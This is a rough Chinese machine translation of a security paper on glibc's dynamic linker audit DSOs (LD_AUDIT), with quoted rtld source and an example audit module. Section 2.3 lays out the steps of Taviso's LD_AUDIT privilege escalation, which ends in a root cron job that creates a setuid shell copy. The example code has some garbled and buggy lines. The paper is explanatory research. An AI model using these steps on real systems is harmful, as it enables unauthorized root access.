The Audit DSOs of the RTLD



https://www.exploit-db.com/papers/29147/
机器翻译,简单人工润色。在paper中英文大量缺少动词和补充语,机器翻译可能存在不通的地方。

The Audit DSOs of the rtld

x90c

[toc]

—-[ 1. Intro

—-[ 2. The Audit DSOs

——–[ 2.1 The Audit DSO Internal

————[ 2.1.1 The structs of Audit Lists and Interfaces

————[ 2.1.2 Load an audit DSO

————[ 2.1.3 Do Lookup The Interfaces

————[ 2.1.4 Open The Object

——–[ 2.2 audit_dso_example.c: Writing a audit DSO

——–[ 2.3 The vulnerability

—-[ 3. Conclusion

—-[ 4. References

—-[ 5. Greets

-[1]介绍
文章阐述了RTLD的审计DSO的设置和编写DSO的过程,最后分析了审计DSO存在的漏洞。

-[2] 审计DSO

-[2.1 审计DSO的细节

运行进程后由rtld加载的审核DSO(换句话说,它影响了用户领空中的所有进程)。并将审核DSOS模块路径传递到$LD_AUDIT环境。例如:
export $LD_AUDIT=libpcrfilile.so。

首先,看看加载审计DSO的过程。
审核DSO加载过程:

(1)调用函数打开审计DSO。
(2)查找“la_version”符号并调用它。
(3)使用审计接口名查找符号并调用它。
(4)如果接口已绑定,则将 main_map(linkmap object)&dl_rtld_map(linkmap object)->l_audit[cnt].bindflags 的最后bit设置为1。
(5)用.debug动态段设置RTLD调试器。
(6)以LA_ACT_ADD为常数,调用“la_activity”符号函数来打印添加审计接口对象的消息。

*(5),(6)是具有审计DSO的la_activity接口的rtld调试器。

-[2.1.1 审计清单和接口的结构。

审计DSO有两个结构来加载rtld上的安全模块。第一个结构用于审计列表和下一个结构为审计接口。
审计列表结构像共享对象一样维护加载的安全模块,代码在rtld.c的全局变量中定义, rtld源代码中审计接口结构维护每个DSO的接口虚拟函数指针。
audit_list结构将会加载审计DSO名称,作为下一个模块的*name和*next指针的成员变量,它是一个单链表队列。

    *audit_list
    .-----------.    .----------.    .----------.
    |  old_newp |    | old_newp |    |  newp    |
    | - *name   |    |  *name   |    |  *name   |
    | - *next   |--->|  *next   |--->|  *next   |---+
    '-----------'    '----------'    '----------'   |  
       (first)                            ^         |
                                          |         |
                                          +---------+
                                       (The Last Entry) 

*audit_list 指针指向第一个加载的DSO的条目和最后加载的模块的最后条目。
让我们看一下结构:

elf/rtld.c中的audit_list结构:

    /* List of auditing DSOs.  */
    static struct audit_list
    {
        const char *name;
    struct audit_list *next;
    } *audit_list;

elf/rtld.c中的process_dl_audit()函数向队列中添加了一个条目。

继续看,审计接口的结构如下:

    *audit_ifaces (Interfaces)
    .---------------.   .----------. 
    |  old          |   |   new    |
    | - (*activity) |   |          |
    | - (*objsearch)|   |    ...   | ... n
    | - (*objopen)  |   |          | GL(dl_naudit)=n
    |      ...      |   |          |
    |      ...      |   |          |
    | - *next       |-->|  *next   |
    '---------------'   '----------'   

接口是共享对象上的符号,符号的函数指针由rtld加载到 *audit_ifaces 结构上。该结构也是与*audit_list相同的队列,并且这些接口将由rtld调用以加载和操作审核DSO。
每个*audit_ifaces条目都有*audit_list entry条目,即使这些结构没有为每个条目相互链接。

审计接口的计数存储在rtld的全局变量GL(Dl_Naudit)上。

审计接口查找并调用的步骤如下:
(1)查找la_objopen符号。
(2)通过调用audit_ifaces->objopen()函数指针调用符号。

然后,是审计接口:

- la_activity     DSO Activity Monitor
- la_objsearch    Object Search
- la_objopen      Object Open
- la_preinit      Pre Initialization
- la_symbind32 /
  la_symbind64    Symbol Binding
- la_objclose     Object Close

-[2.1.2加载审计DSO。
审计DSO的操作在rtld的主函数dl_main()中进行。rtld调用rtld.c中的dlmopen_doit()来加载审核DSO。
dlmopen_doit()调用_dl_open(),使用审计DSO路径作为第一个参数,将_RTLD_AUDIT标志添加到第二个参数中,就像加载共享对象一样。

The dlmopen_doit() In elf/rtld.c:

...

static void
dlmopen_doit (void *a)
{
    struct dlmopen_args *args = (struct dlmopen_args *) a;

    // If dynamic linked, the return value is 0.
    args->map = _dl_open (args->fname, RTLD_LAZY | __RTLD_DLOPEN |
                          __RTLD_AUDIT,
              dl_main, LM_ID_NEWLM, _dl_argc, INTUSE(_dl_argv),
              __environ);
}

如果存在AUDIT_LIST变量,则进入load程序,并为参数准备了dlmopen_args结构,调用dlmopen_doit()来加载DSO。

The code of dl_main In elf/rtld.c:

static void
dl_main (const ElfW(Phdr) *phdr,
     ElfW(Word) phnum,
     ElfW(Addr) *user_entry)
{

    ...

    /* If we have auditing DSOs to load, do it now.  */
    if (__builtin_expect (audit_list != NULL, 0))
    {
    /* 
     * Iterate over all entries in the list. The order is important.
     */
        struct audit_ifaces *last_audit = NULL;
        /* audit_list struct */
        struct audit_list *al = audit_list->next; 

        do
        {

            ...

        struct dlmopen_args dlmargs;
        /* Set DSO path for the argument. */
        dlmargs.fname = al->name;
        /* Set the map member variable as NULL. */
        dlmargs.map = NULL; 

        const char *objname;
        const char *err_str = NULL;
        bool malloced;

        /*
         * call dlmopen_doit() to load an audit dso!
         */
        (void) _dl_catch_error (&objname, &err_str, &malloced, 
                                dlmopen_doit, &dlmargs);

现在,_dl_open()加载从$LD_AUDIT环境传递的审计DSO。DSO的信息加载到link_map对象的某个地方。

-[2.1.3查找接口。
在加载审计DSO之后,下一步是查找模块的接口。lookup_doit()执行了接口查找的操作。
首先,从ELF对象中查找la_version符号,该进程通过使用查找函数在用户程序领空中运行。然后,检查接口版本的接口是否匹配。

The lookup_doit() In elf/rtld.c:

static void lookup_doit (void *a)
{
    struct lookup_args *args = (struct lookup_args *) a;
    const ElfW(Sym) *ref = NULL;
    args->result = NULL;
    lookup_t l = _dl_lookup_symbol_x (args->name, args->map, &ref,
                      args->map->l_local_scope, NULL, 0,
                      DL_LOOKUP_RETURN_NEWEST, NULL);

    /* Symbol lookup success?  */
    /* store the symbol object */
    /* on args->result.        */
    if (ref != NULL) 
        args->result = DL_SYMBOL_ADDRESS (l, ref); 
}

查找la_version符号,这是一个接口!查找_args结构的->name成员变量可以得到查找接口名称。->map会得到NULL。
函数的第四个参数是lookup_doit(),第五个参数是&lookup_args。_dl_catch_error()将调用lookup_doit(),参数为&lookup_args。

The lookup_doit() In elf/rtld.c:

    struct lookup_args largs;    /* argument struct.         */
    largs.name = "la_version";   /* to lookup Interface name */
    largs.map = dlmargs.map;     /* largs.map = NULL         */
 
    /*
        argument = largs.name("la_version").
        result = largs.result.
    */
    /* Check whether the interface version matches. */
    (void) _dl_catch_error (&objname, &err_str, &malloced, 
                            lookup_doit, &largs);

在查找完la_version接口之后,将查找的largs.result的地址存储到laversion函数指针,并调用它来检查接口版本是否匹配。
如果匹配,也在下面的块查找其他接口。


The lookup_doit() In elf/rtld.c:

    unsigned int (*laversion) (unsigned int);
    unsigned int lav;

    if  (err_str == NULL &&                 
        (laversion = largs.result) != NULL &&
    (lav = laversion (LAV_CURRENT)) > 0 && lav <= LAV_CURRENT)
    {

接下来,查找其他接口。
在代码中声明的*newp union 与接口的audit_ifaces结构、回调函数指针的成员,会在下面的代码中查找6个接口,以处理一个链表,该链表的 *next 指针为*audit_list。
la_objearch的接口搜索ELF对象上的符号,la_symbind32或la_symbind64接口绑定来自ELF对象的符号。
所有审计接口都作为elf/tst-auditmod1.c的测试代码嵌入到审计DSO的源代码中。请参见测试代码。la_symbind32 / la_symbind64返回要绑定的符号的相对地址。


The codes In elf/tst-auditmod1.c:

...

uintptr_t
la_symbind32 (Elf32_Sym *sym, unsigned int ndx, uintptr_t *refcook,
   uintptr_t *defcook, unsigned int *flags, const char *symname)
{
    printf ("symbind32: symname=%s, st_value=%#lx, ndx=%u, flags=
             %un",
             symname, (long int) sym->st_value, ndx, *flags);

    return sym->st_value;
}

uintptr_t
la_symbind64 (Elf64_Sym *sym, unsigned int ndx, uintptr_t *refcook,
   uintptr_t *defcook, unsigned int *flags, const char *symname)
{
    printf ("symbind64: symname=%s, st_value=%#lx, ndx=%u, flags=
            %un",
            symname, (long int) sym->st_value, ndx, *flags);

    return sym->st_value;
}

...

See the lookup the other Interfaces!

The lookup_doit() In elf/rtld.c:

----snip----snip----snip----snip----snip----snip----snip----snip----

    /* Allocate structure for the callback function pointers.
       This call can never fail.  */
    union
    {
        struct audit_ifaces ifaces;
#define naudit_ifaces 8

    void (*fptr[naudit_ifaces]) (void); /* void (*fptr[8])(void); */

    } *newp = malloc (sizeof (*newp)); 

    /* Names of the auditing interfaces.  All in one long string. */
       static const char audit_iface_names[] =
    "la_activity"
    "la_objsearch"
    "la_objopen"
    "la_preinit"
#if __ELF_NATIVE_CLASS == 32
    "la_symbind32"
#elif __ELF_NATIVE_CLASS == 64
    "la_symbind64"
#else
# error "__ELF_NATIVE_CLASS must be defined"
#endif
#define STRING(s) __STRING (s)
    "la_" STRING (ARCH_LA_PLTENTER) ""
    "la_" STRING (ARCH_LA_PLTEXIT) ""
    "la_objclose";
    unsigned int cnt = 0;
    const char *cp = audit_iface_names;

    do
    {
        largs.name = cp;

    (void) _dl_catch_error (&objname, &err_str, &malloced, 
                            lookup_doit, &largs);

    /* Store the pointer.  */
    if (err_str == NULL && largs.result != NULL)
    {
        newp->fptr[cnt] = largs.result;

        /* The dynamic linker link map is statically allocated
           initialize the data now.   */
        GL(dl_rtld_map).l_audit[cnt].cookie =
                        (intptr_t) &GL(dl_rtld_map);
    }
    else
        newp->fptr[cnt] = NULL;
        ++cnt;

            cp = (char *) rawmemchr (cp, '') + 1;
    }
    while (*cp != '');
        
    assert (cnt == naudit_ifaces);  

    /* Now append the new auditing interface to the list. */
    newp->ifaces.next = NULL;

        if (last_audit == NULL)
        last_audit = GLRO(dl_audit) = &newp->ifaces;
    else
        last_audit = last_audit->next = &newp->ifaces;
        ++GLRO(dl_naudit);

    /* Mark the DSO as being used for auditing.  */
    dlmargs.map->l_auditing = 1;
    }
        else
    {
        /* We cannot use the DSO, it does not have the
           appropriate interfaces or it expects something
           more recent.  */
#ifndef NDEBUG
    Lmid_t ns = dlmargs.map->l_ns;
#endif
    _dl_close (dlmargs.map);

    /* Make sure the namespace has been cleared entirely.  */
    assert (GL(dl_ns)[ns]._ns_loaded == NULL);
    assert (GL(dl_ns)[ns]._ns_nloaded == 0);

#ifdef USE_TLS
    GL(dl_tls_max_dtv_idx) = tls_idx;
#endif
    goto not_loaded;
    }
     }

     al = al->next;
  }
  while (al != audit_list->next);

审计DSO标记为1,就像使用dlmargs.map的->l_audit成员变量一样,它是在打开DSO的代码中声明的。
dlmargs的.map成员变量在为审核DSO调用dlmopen_doit()之后获取分配的linkmap对象的指针。
换句话说,->l_auditing变量审计DSO的链接映射对象被标记为1,而不是进程的link_map对象。

-[2.1.4-打开对象

最后,为将要被审计DSO的作者实现的DSO的la_OPEN函数打开*afct 的对象,如在elf/tst-auditmod1.c中可以看到的那样。
la_open只是打印一条打开这个对象的消息。对于每个审计DSO,rtld调用la_open 函数。

    /* If we have any auditing modules, announce that we already
       have two objects loaded.  */
    if (__builtin_expect (GLRO(dl_naudit) > 0, 0))
    {
    struct link_map *ls[2] = { main_map, &GL(dl_rtld_map) };

    for (unsigned int outer = 0; outer < 2; ++outer)
    {
        struct audit_ifaces *afct = GLRO(dl_audit);

        for (unsigned int cnt = 0; cnt < GLRO(dl_naudit); ++cnt)
        {
                if (afct->objopen != NULL)
        {
            ls[outer]->l_audit[cnt].bindflags =
                afct->objopen (ls[outer], LM_ID_BASE, &ls[outer]->
                               l_audit[cnt].cookie);
 
            ls[outer]->l_audit_any_plt |= ls[outer]->
                       l_audit[cnt].bindflags != 0;
        }

        afct = afct->next;  /* move the next audit Interface */
        }
     }
    }

如您所知,审核dso可用于自动分析。
在用户界面中的一个监视器,操作系统体系结构中的库层。

让我们写一个审计DSO!

-[2.2编写审计DSO
我通过审计DSO演示了一个用户态监视器。编译自glibc/adj_dso_example.c的rtld源代码树中。

audit_dso_example.c:
----
#include <dlfcn.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <bits/wordsize.h>
#include <gnu/lib-names.h>

unsigned int la_version(unsigned int v){

    return v;
}

unsigned int la_objopen(struct link_map *l, Lmid_t lmid, 
                        unsigned int *cookie){
    FILE *fp;

    fp = fopen("/tmp/audit_dso_example.log", "w+");
    if(fp <= NULL){
        printf("failed to open audit dso examplen");
        fclose(fp);
    }

    /*
     * The link_map Object passed as first argument!
     * link_map struct In elf/link.h.
     *
    */
    fprintf(fp, "-------- audit dso example --------n");
    fprintf(fp, "Executed program name: %sn  ", l->l_name);
    fprintf(fp, "Base Addr of the object: %pn", l->l_addr);
    fprintf(fp, "The addr of .dynamic: nn   ", l->l_ld);
    fprintf(fp, "-----------------------------------n");

    /*
     * Now, Can resolve the ELF sections of the executed
     * program with l->l_ld. do resolve relocation a symbol! [2].
     *
    */

    fclose(fp);

    return 0;
}

void la_preinit(unsigned int *cookie){

     return;
}

void la_objclose(unsigned int *cookie){

    printf("audit_dso_example: an audit DSO closed.");
    return 0;
}

—- [2.3漏洞

taviso的任意审计DSO加载bug [1]显示了审计DSO的安全漏洞:

(1)LD_AUDIT =“libpcprofile.so”PCPROFILE_OUTPUT =“/ etc / cron.d / exploit”
    libpcprofile.so的代码创建一个$ PCPROFILE_ OUTPUT文件。 libpcprofile.so不是一个审计dso,不能加载审计dso作为共享对象加载并且代码共享对象的执行!这是个关于SUID位的安全问题。

(2)执行/bin/ping创建一个/etc/cron.d/exploit世界可写文件。 注意ping SUID位,在即将运行的ping进程之后,rtld加载了审计dso并创建了该文件。

(3)设置一个crontab并等待提升权限。
    printf“* * * * * root cp / bin / dash / tmp / exploit; chmod u + s / tmp / exploit n”> /etc/cron.d/exploit。

可以通过审计DSO加载任意共享对象,并在执行进程后执行审计DSO的代码在userland中如果进程将SUID位设置为/bin/ping。

对安全漏洞的讨论是,通过所有进程的任意共享对象加载在用户态执行时间内。共享对象也可以作为用户进行编译和加载,并且无法使用该特权加载它。

See the call path:
----

    /bin/ping execute! with SUID bit
       |
       +-> rtld: audit DSO load (In the execution time)
         |
         +-> rtld: _dlm_opendoit()
             The shared object load with UID 0.

         ...

----

—- [3.结论

这篇文章涵盖了审计DSO的内部和编写用户区的安全模块,并解释了加载任意DSO的安全性问题。

审计DSO可用于在用户空间中的自动监视器,示例在audit_dso_example.c中存在。 它可以被实现在ELF解析执行时的监视器。

—- [4.参考文献

[1] Taviso, 2010, Taviso’s GNU C library dynamic linker LD_AUDIT.
arbitrary DSO load Vulnerability.
- http://www.exploit-db.com/exploits/15304

[2] x90c, 2012, ELF_linker.c.
- http://www.x90c.org/ELF32_linker.c

—-[ 5. 致谢

Greets to … #phrack of efnet …
… #social of overthewire …

EOF

Saturday, June 9, 2018 by blast